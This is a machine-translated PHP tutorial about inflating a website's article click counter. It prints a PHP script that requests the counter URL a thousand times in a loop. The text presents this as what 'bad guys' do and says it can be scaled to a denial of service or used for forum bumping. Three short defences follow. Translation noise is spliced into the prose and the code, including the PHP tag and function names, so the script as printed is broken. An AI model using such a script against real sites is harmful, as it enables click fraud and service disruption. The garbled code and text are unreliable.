PHP-PHP Tutorial

Source: Internet
Author: User
PHP implements automatic brush quantity and "irrigation" machines. Today, I accidentally saw a website whose counters can be updated on static pages. I think it should be done using js. when I open the source code, I can see that: <divaligncenter> <I accidentally saw a website today. its counters can be updated on static pages. I think it should be done using js. when I open the source code, I can see that:

<P align = center> <SPAN class = Article_tdbgall>
Author: Unknown article Source: Meidi. Net
Clicks:
<Script language = 'javascript 'src = '/Article/GetHits. asp? ArticleID = 759 '> </script>
Updated on: 2005-5-27 </SPAN>
</P>

The number of clicks is followed by an asp file, so I can open this file to see:

Document. write ('20140901 ');

Right, that is, the number of output times after the GetHists. asp file extracts the result after processing the ArticleID: document. write ('Times'), which can be directly referenced on the static page.

After all, the bad guys are bad guys, so I thought, how can we quickly increase the number of clicks? Manual refresh is not very similar. well, write a php program (as the current mainstream development language) to automatically access this file.

Php (as the mainstream development language) code is as follows:

<? Php (as the mainstream development language)
/* Access (favorite of small websites) _ url. php (as the mainstream development language )*/
Define (SUM, 1000); // number of visits required
Define (L_TIME, 1000); // Time for force script execution
Define (S_TIME, 1); // Time of sleep between each access
$ Url = "http://www.xxx.com/Article/GetHits.asp? ArticleID = 759 "; // address to be accessed
Set_time_limit (L_TIME );

// Access the specified URL function knowsky.com
Function access (favorite of small websites) _ url ($ url)
{
If ($ url = '') return false;
$ Fp = fopen ($ url, 'r') or exit ('open url faild! ');
If ($ fp ){
While (! Feof ($ fp )){
$ File = fgets ($ fp );
Echo $ file. "<p> </p> ";
}
Unset ($ file );
}
}

// Perform the test
For ($ I = 0; $ I <SUM; $ I ++ ){
Access (favorite of small websites) _ url ($ url );
Sleep (S_TIME );
}
?>

Running the above program will access the specified URL continuously. Naturally, the number of visits will increase continuously to achieve the effect of watering. If the traffic is high and multiple programs are used for running, the DoS effect will be easily achieved. If the other party takes preventive measures, modify the code and submit the code for the forum, it is easy to achieve the effect of Forum bumping.

Defense methods:

1. the Session mechanism is used in the code. when the user submits a Session, a Session ID is generated and the content is submitted to determine whether the Session ID has been submitted. if the Session ID has been submitted, the click farming is not allowed.

2. after the user submits the IP address, the IP address cannot be submitted again within the specified time.

3. after the user submits the content, write the Cookie on the user client. if the user submits the content again, check whether the client has the Cookie to determine whether the request is allowed.

There are many other ways to search, or use your imagination to do better.

Align <p align = center> <...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.